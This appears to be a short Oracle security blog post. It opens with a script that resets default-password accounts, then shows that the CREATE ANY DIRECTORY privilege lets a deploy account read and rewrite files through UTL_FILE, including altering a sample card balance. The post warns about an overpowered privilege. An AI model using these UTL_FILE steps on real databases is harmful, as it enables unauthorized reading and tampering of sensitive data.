Security | ORAganism

set serveroutput on begin for i in ( select 'alter user '||u.username||' identified by ' ||dbms_random.string('a', 10)||'_'||trunc(dbms_random.value(1,99)) cmd , username from sys.dba_users_with_defpwd u where username <> 'XS$NULL') loop dbms_output.put_line('Securing '||i.username||'...'); execute immediate i.cmd; end loop; end; /

SQL> set serveroutput on SQL> begin 2 for i in ( select 'alter user '||u.username||' identified by ' 3 ||dbms_random.string('a', 10)||'_'||trunc(dbms_random.value(1,99)) cmd 4 , username 5 from sys.dba_users_with_defpwd u 6 where username <> 'XS$NULL') 7 loop 8 dbms_output.put_line('Securing '||i.username||'...'); 9 execute immediate i.cmd; 10 end loop; 11 end; 12 / Securing GSMUSER... Securing MDSYS... Securing OLAPSYS... Securing LBACSYS... Securing ORDDATA... Securing ORDSYS... Securing DVF... Securing SYSDG... Securing APPQOSSYS... Securing WMSYS... Securing GSMCATUSER... Securing OJVMSYS... Securing SYSTEM... Securing XDB... Securing SI_INFORMTN_SCHEMA... Securing CTXSYS... Securing ORACLE_OCM... Securing MDDATA... Securing ORDPLUGINS... Securing SPATIAL_CSW_ADMIN_USR... Securing SPATIAL_WFS_ADMIN_USR... Securing DVSYS... Securing DBSNMP... Securing SYS... Securing SYSKM... Securing DIP... Securing ANONYMOUS... Securing AUDSYS... Securing GSMADMIN_INTERNAL... Securing SYSBACKUP... Securing OUTLN... PL/SQL procedure successfully completed.

In some secure environments code deployment privileges are split away from data modification ones. Below is an example user created only to execute DDL for application schema changes.

create user deploy identified by deploy;
grant create any directory to deploy;
grant create any table to deploy;
grant create session to deploy;

And here we see the account being used to make some changes to an application schema, creating a new table and a database directory.

conn deploy/deploy@pdb
create table app.secrets
( cardnum varchar2(15)
, holder varchar(40)
, balance number);
create directory sensitive_files as '/tmp/secrets';

Two weeks later my code ~~monkey~~ technician decides to have a cheeky look at the contents of the secrets table created previously.

select * from app.secrets
                  *
ERROR at line 1:
ORA-01031: insufficient privileges

Lovely – no access and my secrets are safe. However the technician happens to be aware of the file naming convention used by the ETL process and tries to read a dump file using UTL_FILE.

set serveroutput on
declare
  fh utl_file.file_type;
  str varchar2(1024);
begin
  fh := utl_file.fopen('SENSITIVE_FILES', 'secrets.dat', 'R');

  begin
    loop
      utl_file.get_line(fh, str);
      dbms_output.put_line(str);
    end loop;
  exception
    when no_data_found then
      null;
  end;
  
  utl_file.fclose(fh);    
end;
/

cardnum,holder,balance
1234-1234-4321-4321,Neil,0.05

Oh my, the “CREATE ANY DIRECTORY” privilege also gives me read permissions on the “contents” of the directory. And…

set serveroutput on
declare
  fh utl_file.file_type;
begin
  fh := utl_file.fopen('SENSITIVE_FILES', 'secrets.dat', 'W');

  utl_file.put_line(fh,'cardnum,holder,balance');
  utl_file.put_line(fh,'1234-1234-4321-4321,Neil,999999.99');
  utl_file.fclose(fh);    
end;
/

PL/SQL procedure successfully completed.

We can modify the file too. Here are the new contents when read again using UTL_FILE.

cardnum,holder,balance
1234-1234-4321-4321,Neil,999999.99

Looking at the permissions it may not be clear how the file contents were changed, “CREATE ANY DIRECTORY” is more powerful than it looks.

  1* select * from dba_sys_privs where grantee = 'DEPLOY'
SQL&gt; /

GRANTEE    PRIVILEGE            ADM COM
---------- -------------------- --- ---
DEPLOY     CREATE SESSION       NO  NO
DEPLOY     CREATE ANY DIRECTORY NO  NO
DEPLOY     CREATE ANY TABLE     NO  NO

It’s probably an edge case but I found it surprising.